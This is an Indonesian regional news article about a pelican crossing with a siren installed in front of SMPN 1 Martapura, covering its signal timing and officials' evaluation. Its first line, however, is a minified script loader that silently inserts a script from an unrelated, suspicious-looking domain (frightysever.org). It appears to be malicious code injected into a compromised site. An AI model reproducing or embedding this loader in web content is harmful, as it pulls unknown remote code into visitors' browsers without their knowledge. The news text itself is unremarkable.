(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ruas jalan A Yani di kota Martapura kini dilengkapi fasilitas publik mendukung kelancaran lalu lintas dan keselamatan pejalan kaki.
Pelican crossing atau tempat penyeberangan yang dilengkapi dengan pengeras suara sirine mulai disosialisasikan kepada masyarakat dan pengguna jalan selama tiga hari kedepan.
Kepala Dinas Perhubungan Kabupaten Banjar H Aspihani bersama Asisten Perekonomian Pembangunan Kabupaten Banjar M Rusdi melakukan peninjauan cek lapangan penggunaan Pelican Crossing, di Jalan A Yani KM 39 Martapura, lebih tepatnya di depan SMPN 1 Martapura, Rabu (6/1/2021 ) pagi.
Pelican crossing berasal dari singkatan pedestrian light controlled crossing, atau lampu lalu lintas untuk pejalan kaki yang menyeberang.
Kadishub Banjar Aspihani menyebut tempat penyeberangan tersebut diperuntukan bagi semua warga terlebih bagi siswa dan warga yang ingin berurusan ke Mall Pelayanan Publik (MPP) yang ingin menyeberang sehingga urusan mereka bisa lebih cepat.
Diketahui pelican crossing ini akan beroperasi selama 24 jam. Namun, untuk tahap sosialisasi ini bisa digunakan dari pukul 06:00 sampai pukul 18:00 Wita.
“Jadi warga yang ingin menyeberang jalan bisa memanfaatkannya dengan cara memencet tombol yang sudah disediakan. Setelah lampu merah menyala dan sirine terdengar, pengendara berhenti dan pejalan kaki bisa mulai menyeberang dengan durasi lampu merah selama 24 detik,” jelas Aspihani.
“Awalnya kemarin kita 15 detik tapi dirasa terlalu cepat, ditambah menjadi 24 detik, sehingga sempat menyeberang walaupun jalannya lambat,” ujarnya.
Sementara itu, Asisten Perekonomian Pembangunan Kabupaten Banjar M Rusdi mengatakan, tempat penyeberangan ini merupakan keinginan Bupati Banjar untuk memberikan pelayanan dan mempermudah masyarakat dalam aktivitasnya.
Dia juga mengatakan, sementara yang perlu dievaluasi setelah berkoordinasi dengan Satlantas Polres Banjar, sound atau speaker sirine lebih keras dan posisinya diturunkan agar terdengar oleh para pengemudi dalam mobil. “Kita akan coba nanti, jika sarannya efektif maka akan kita teruskan,” tutupnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More
KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More
This website uses cookies.